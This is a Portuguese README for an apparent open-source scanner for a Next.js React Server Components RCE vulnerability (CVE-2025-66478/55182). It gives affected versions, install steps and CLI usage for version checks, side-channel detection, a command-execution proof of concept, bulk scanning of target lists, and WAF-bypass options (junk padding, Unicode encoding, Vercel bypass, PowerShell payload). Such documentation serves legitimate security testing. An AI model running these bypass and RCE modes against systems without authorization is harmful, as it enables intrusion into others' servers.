
Scanner de vulnerabilidades multimodo para Next.js RCE (CVE-2025-66478/55182) com detecção segura de canal lateral, prova de conceito de RCE, técnicas de bypass de WAF e varredura de dependências de projetos locais.
O scanner mais abrangente para a vulnerabilidade de Execução Remota de Código do Next.js RSC
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modos: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ Bypass de WAF: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (também conhecida como CVE-2025-55182) é uma vulnerabilidade CRÍTICA (CVSS 10.0) de Execução Remota de Código que afeta aplicações Next.js que utilizam React Server Components (RSC).
| Faixa de Versão | Status |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Vulnerável |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Vulnerável |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Vulnerável |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Vulnerável |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Vulnerável |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Vulnerável |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Vulnerável |
| Next.js 14.3.0-canary.77+ | ⚠️ Vulnerável |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Corrigida |
| Next.js 16.0.7+ | ✅ Corrigida |
| Next.js 13.x, 14.x estável | ✅ Não Afetada |
Esta ferramenta combina as melhores características de múltiplos scanners do CVE-2025-66478:
| Funcionalidade | Descrição |
|---|---|
| 🔍 Detecção Multi-Modo | Canal lateral seguro, PoC de RCE, apenas versão, escaneamento local |
| 🛡️ Técnicas de Bypass de WAF | Preenchimento com lixo, codificação Unicode, bypass específico para Vercel |
| 📁 Escaneamento de Projetos Locais | Verifica package.json, lockfiles por dependências vulneráveis |
| ⚡ Alto Desempenho | Escaneamento multi-thread com concorrência configurável |
| 📊 Múltiplos Formatos de Saída | Console, JSON, exportação para arquivo |
| 🎯 Detecção Precisa de Versão | Cabeçalhos HTTP, impressão digital RSC, consciência de versões corrigidas |
# Clone o repositório
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Instale as dependências
pip install -r requirements.txt
# Ou instale manualmente
pip install requests tqdm
# Apenas detecção de versão (mais rápido, sem exploração)
python3 react2shell-ultimate.py -u https://alvo.com --version
# Detecção segura por canal lateral (sem execução de código)
python3 react2shell-ultimate.py -u https://alvo.com --safe
# Prova de conceito de RCE (executa cálculo inofensivo: 41*271=11111)
python3 react2shell-ultimate.py -u https://alvo.com --rce
# Escaneamento abrangente com todas as tentativas de bypass
python3 react2shell-ultimate.py -u https://alvo.com --comprehensive
# Escaneia múltiplos alvos de um arquivo
python3 react2shell-ultimate.py -l alvos.txt -t 20 -o resultados.json
# Modo silencioso - mostra apenas hosts vulneráveis
python3 react2shell-ultimate.py -l alvos.txt -q
# Saída JSON para stdout
python3 react2shell-ultimate.py -l alvos.txt --json
# Escaneia o diretório atual
python3 react2shell-ultimate.py --local .
# Escaneia um caminho de projeto específico
python3 react2shell-ultimate.py --local /caminho/para/projetos/nextjs
# Bypass com lixo (adiciona 128KB de preenchimento para evadir inspeção de conteúdo)
python3 react2shell-ultimate.py -u https://alvo.com --rce --waf-bypass
# Tamanho personalizado do lixo
python3 react2shell-ultimate.py -u https://alvo.com --rce --waf-bypass --waf-bypass-size 256
# Bypass com codificação Unicode
python3 react2shell-ultimate.py -u https://alvo.com --rce --unicode
# Bypass específico para Vercel
python3 react2shell-ultimate.py -u https://alvo.com --rce --vercel-bypass
# Alvo Windows (payload PowerShell)
python3 react2shell-ultimate.py -u https://alvo.com --rce --windows
# Com proxy
python3 react2shell-ultimate.py -u https://alvo.com --rce --proxy http://127.0.0.1:8080
# Cabeçalhos personalizados
python3 react2shell-ultimate.py -u https://alvo.com --rce -H "Authorization: Bearer token"
# Timeout aumentado
python3 react2shell-ultimate.py -u https://alvo.com --rce --timeout 30
# Saída detalhada
python3 react2shell-ultimate.py -u https://alvo.com --comprehensive -v
| Opção | Descrição |
|---|---|
-u, --url | URL única para verificar |
-l, --list | Arquivo contendo URLs (uma por linha) |
--local | Escaneia diretório de projeto local |
--safe | Detecção segura por canal lateral (sem RCE) |
--rce | Modo de prova de conceito de RCE |
--version | Apenas detecção de versão |
--comprehensive | Escaneamento completo com todas as técnicas |
--waf-bypass | Adiciona lixo para bypass de WAF |
--waf-bypass-size | Tamanho do lixo em KB (padrão: 128) |
--unicode | Codificação Unicode para bypass de WAF |
--vercel-bypass | Bypass específico para Vercel |
--windows | Usa payload do PowerShell do Windows |
-t, --threads | Threads concorrentes (padrão: 10) |
--timeout | Timeout da requisição em segundos (padrão: 10) |
-k, --insecure | Desabilita verificação SSL |
--proxy | URL do proxy (http://host:porta) |
-H, --header | Cabeçalho personalizado (repetível) |
-o, --output | Arquivo de saída (JSON) |
--all-results | Salva todos os resultados, não apenas vulneráveis |
-v, --verbose | Saída detalhada |
-q, --quiet | Mostra apenas hosts vulneráveis |
--json | Saída JSON para stdout |
--no-color | Desabilita saída colorida |
--safe)Dispara um padrão específico de resposta de erro sem executar código. Identifica implementações RSC vulneráveis através do comportamento de tratamento de erros.
--rce)Executa um cálculo matemático inofensivo (echo $((41*271)) = 11111) para confirmar a capacidade de RCE. O resultado aparece no cabeçalho X-Action-Redirect.
--version)X-Powered-By pela versão do Next.jsVary por indicadores RSCtext/x-component--local)Verifica diretórios de projeto por:
package.json - Declaração de dependência diretapackage-lock.json - Lockfile do NPMyarn.lock - Lockfile do Yarnpnpm-lock.yaml - Lockfile do PNPMbun.lockb - Lockfile do Bun[VULNERÁVEL] https://alvo.com
Versão: 15.3.1 | Status: 200 | Método: rce_poc
Bypass de WAF: SUCESSO
[NÃO VULNERÁVEL] https://alvo-seguro.com
Versão: 15.5.7 | Status: 200 | Método: http_headers
[BLOQUEADO POR WAF] https://protegido.com
Versão: 15.2.0 | Status: 403 | Método: rce_poc
WAF Detectado: Exploração bloqueada
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
Se você encontrar aplicações vulneráveis:
Atualize imediatamente para versões corrigidas:
Mitigações temporárias:
Monitore logs por tentativas de exploração
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
Licença MIT - Consulte o arquivo LICENSE para detalhes.
⭐ Dê uma estrela neste repositório se achar útil! ⭐